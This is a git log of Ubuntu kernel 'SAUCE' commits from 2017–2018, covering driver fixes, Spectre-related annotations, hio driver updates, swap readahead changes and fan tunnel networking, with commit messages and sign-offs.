2 years agoUBUNTU: SAUCE: drm/i915: make previous commit affects Wyse 3040 only
Wen-chien Jesse Sung [Fri, 23 Mar 2018 16:54:28 +0000 (00:54 +0800)]
UBUNTU: SAUCE: drm/i915: make previous commit affects Wyse 3040 only

BugLink: https://launchpad.net/bugs/1736393
Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: drm/i915:Don't set chip specific data
Raymond Liu [Fri, 23 Mar 2018 16:54:27 +0000 (00:54 +0800)]
UBUNTU: SAUCE: drm/i915:Don't set chip specific data

BugLink: https://launchpad.net/bugs/1736393
This chip data is unused and cause panic after
the cycle of cpu offline/online

Signed-off-by: Raymond Liu <raymondx.liu@intel.com>
Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: vga_set_mode -- avoid jump tables
Andy Whitcroft [Wed, 21 Mar 2018 09:49:40 +0000 (09:49 +0000)]
UBUNTU: SAUCE: vga_set_mode -- avoid jump tables

BugLink: http://bugs.launchpad.net/bugs/1758856
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: apm -- annotate indirect calls within firmware_restrict_branch_specula...
Andy Whitcroft [Tue, 20 Mar 2018 12:19:52 +0000 (12:19 +0000)]
UBUNTU: SAUCE: apm -- annotate indirect calls within firmware_restrict_branch_speculation_{start,end}

BugLink: http://bugs.launchpad.net/bugs/1758856
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: tools -- add ability to disable libbfd
Andy Whitcroft [Tue, 13 Feb 2018 14:48:56 +0000 (14:48 +0000)]
UBUNTU: SAUCE: tools -- add ability to disable libbfd

We do not want to be linked to libbfd as this is a tightly versioned
package which does not maintain its ABI.  This prevents us from have
multiple tools packages installed.  Turn that off and we will fallback
to libiberty.

BugLink: http://bugs.launchpad.net/bugs/1748922
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: make sure ubuntu/xr-usb-serial builds for x86
Wen-chien Jesse Sung [Mon, 20 Nov 2017 08:14:17 +0000 (16:14 +0800)]
UBUNTU: SAUCE: make sure ubuntu/xr-usb-serial builds for x86

BugLink: https://launchpad.net/bugs/1733281
The ubuntu/xr-usb-serial is expected to be built for i386 and x86_64,
and in ubuntu/Makefile it says:

ifneq ($(filter $(ARCH), i386 x86_64),)
obj-y += xr-usb-serial/
endif

Since ARCH is x86 for both i386 and x86_64, this condition will never be
true thus the module will never get a chance to be built.

Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio: updates for timer api changes in 4.15
Seth Forshee [Fri, 19 Jan 2018 20:32:35 +0000 (14:32 -0600)]
UBUNTU: hio: updates for timer api changes in 4.15

init_timer() is gone, and the timer callback prototype has
changed. For 4.15 onward use timer_setup() and new callback
prototype data accessor.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: Revert "scsi: libsas: allow async aborts"
Seth Forshee [Fri, 19 Jan 2018 15:21:13 +0000 (09:21 -0600)]
UBUNTU: SAUCE: Revert "scsi: libsas: allow async aborts"

BugLink: http://bugs.launchpad.net/bugs/1726519
This reverts commit 909657615d9b3ce709be4fd95b9a9e8c8c7c2be6.

Signed-off-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: mm: disable vma based swap readahead by default
Seth Forshee [Fri, 1 Dec 2017 21:08:32 +0000 (15:08 -0600)]
UBUNTU: SAUCE: mm: disable vma based swap readahead by default

BugLink: http://bugs.launchpad.net/bugs/1732463
Starting with 4.14 our test for CVE-2015-7550 started oopsing the
kernel on i386 with the following stack trace:

  EIP: __radix_tree_lookup+0x15/0xf0
  EFLAGS: 00010292 CPU: 2
  EAX: 00000004 EBX: b7e77000 ECX: 00000000 EDX: 00000000
  ESI: 00000000 EDI: 00000000 EBP: dcfb1da4 ESP: dcfb1d8c
   DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
  CR0: 80050033 CR2: 00000008 CR3: 1cd15dc0 CR4: 000006f0
  Call Trace:
   radix_tree_lookup_slot+0x1d/0x40
   find_get_entry+0x22/0xe0
   pagecache_get_page+0x24/0x220
   lookup_swap_cache+0x3a/0xf0
   swap_readahead_detect+0x55/0x280
   do_swap_page+0x232/0x890
   ? keyring_search_aux+0x96/0xb0
   ? kmap_atomic_prot+0xe0/0x100
   handle_mm_fault+0x6f8/0xe20
   ? lookup_user_key+0xef/0x450
   __do_page_fault+0x22d/0x540
   ? kvm_async_pf_task_wake+0x100/0x100
   do_page_fault+0x27/0xe0
   ? kvm_async_pf_task_wake+0x100/0x100
   do_async_page_fault+0x55/0x90
   common_exception+0x6f/0x76

I'm not able to reproduce this outside of ADT, but vma based swap
readahead is a new feature in 4.14 so it seems quite likely that
this is where the bug lies. However I'm not able to reproduce the
problem outside of ADT to confirm this.

So for now disable this feature by default so we can see if that
gets the test to pass. It can still be enabled by writing to
/sys/kernel/mm/swap/vma_ra_enabled if desired.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio: Update io stat accounting for 4.14
Seth Forshee [Mon, 23 Oct 2017 17:43:58 +0000 (12:43 -0500)]
UBUNTU: hio: Update io stat accounting for 4.14

In 4.14-rc1 invflight accounting calls were updated to require a
request queue be passed, and part_(inc|dec)_in_flight() were
moved out of linux/genhd.h and are not exported to modules. Make
a couple of updates to cope with these changes:

 - Pass the rq to part_round_stats for 4.14 and later.

 - Use generic_(start|end)_io_acct() helpers for io accounting
   with 4.14 and later. These do exactly what was being done with
   the no-longer-exported interfaces.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio: Use correct sizes when initializing ssd_index_bits* arrays
Seth Forshee [Mon, 23 Oct 2017 17:38:10 +0000 (12:38 -0500)]
UBUNTU: hio: Use correct sizes when initializing ssd_index_bits* arrays

The memsets which initialize these arrays use a size of the
number of elements in the array without multplying by the size of
the array elements, therefore these arrays are only partially
initialized. Fix this by using sizeof to trivially get the
correct size for these arrays.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: hio: Build fixes for 4.13
Seth Forshee [Wed, 2 Aug 2017 16:07:51 +0000 (11:07 -0500)]
UBUNTU: SAUCE: hio: Build fixes for 4.13

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: hio: Fix incorrect use of enum req_opf values
Seth Forshee [Fri, 7 Jul 2017 12:59:08 +0000 (07:59 -0500)]
UBUNTU: SAUCE: hio: Fix incorrect use of enum req_opf values

BugLink: http://bugs.launchpad.net/bugs/1701316
Patch from Huawei to fix incorrect use of enumerated values for
bio operations as bitmasks. A reordering of the enum in 4.10
caused a change in behavior which has been leading to data
corruption.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: hio updates for 4.12
Seth Forshee [Wed, 5 Jul 2017 13:56:23 +0000 (08:56 -0500)]
UBUNTU: SAUCE: hio updates for 4.12

Updates from Huawei for compatibility with Linux 4.12.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: hio: Update to Huawei ES3000_V2 (2.1.0.40)
Seth Forshee [Wed, 5 Jul 2017 13:44:52 +0000 (08:44 -0500)]
UBUNTU: SAUCE: hio: Update to Huawei ES3000_V2 (2.1.0.40)

Update to latest upstream driver version, from:
http://support.huawei.com/enterprise/zh/server/es3000-v2-pid-21242728/software/22305278?idAbsPath=fixnode01%7C7919749%7C9856522%7C9856629%7C21462722%7C21242728

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: apparmor: add/use fns to print hash string hex value
John Johansen [Tue, 2 May 2017 01:20:25 +0000 (18:20 -0700)]
UBUNTU: SAUCE: apparmor: add/use fns to print hash string hex value

Signed-off-by: John Johansen <john.johansen@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: fan: add VXLAN implementation
Jay Vosburgh [Wed, 11 Nov 2015 13:04:50 +0000 (13:04 +0000)]
UBUNTU: SAUCE: fan: add VXLAN implementation

Generify the fan mapping support and utilise that to implement fan
mappings over vxlan transport.

Expose the existance of this functionality (when the module is loaded)
via an additional sysctl marker.

Signed-off-by: Jay Vosburgh <jay.vosburgh@canonical.com>
[apw@canonical.com: added feature marker for fan over vxlan.]
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Conflicts:
drivers/net/vxlan.c
include/uapi/linux/if_link.h
net/ipv4/ipip.c

Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: fan: tunnel multiple mapping mode (v3)
Jay Vosburgh [Wed, 1 Apr 2015 23:11:09 +0000 (16:11 -0700)]
UBUNTU: SAUCE: fan: tunnel multiple mapping mode (v3)

Switch to a single tunnel for all mappings, this removes the limitations
on how many mappings each tunnel can handle, and therefore how many Fan
slices each local address may hold.

NOTE: This introduces a new kernel netlink interface which needs updated
iproute2 support.

BugLink: http://bugs.launchpad.net/bugs/1470091
Signed-off-by: Jay Vosburgh <jay.vosburgh@canonical.com>
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
[saf: Fix conflicts during rebase to 4.12]
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
Conflicts:
include/uapi/linux/if_tunnel.h
net/ipv4/ipip.c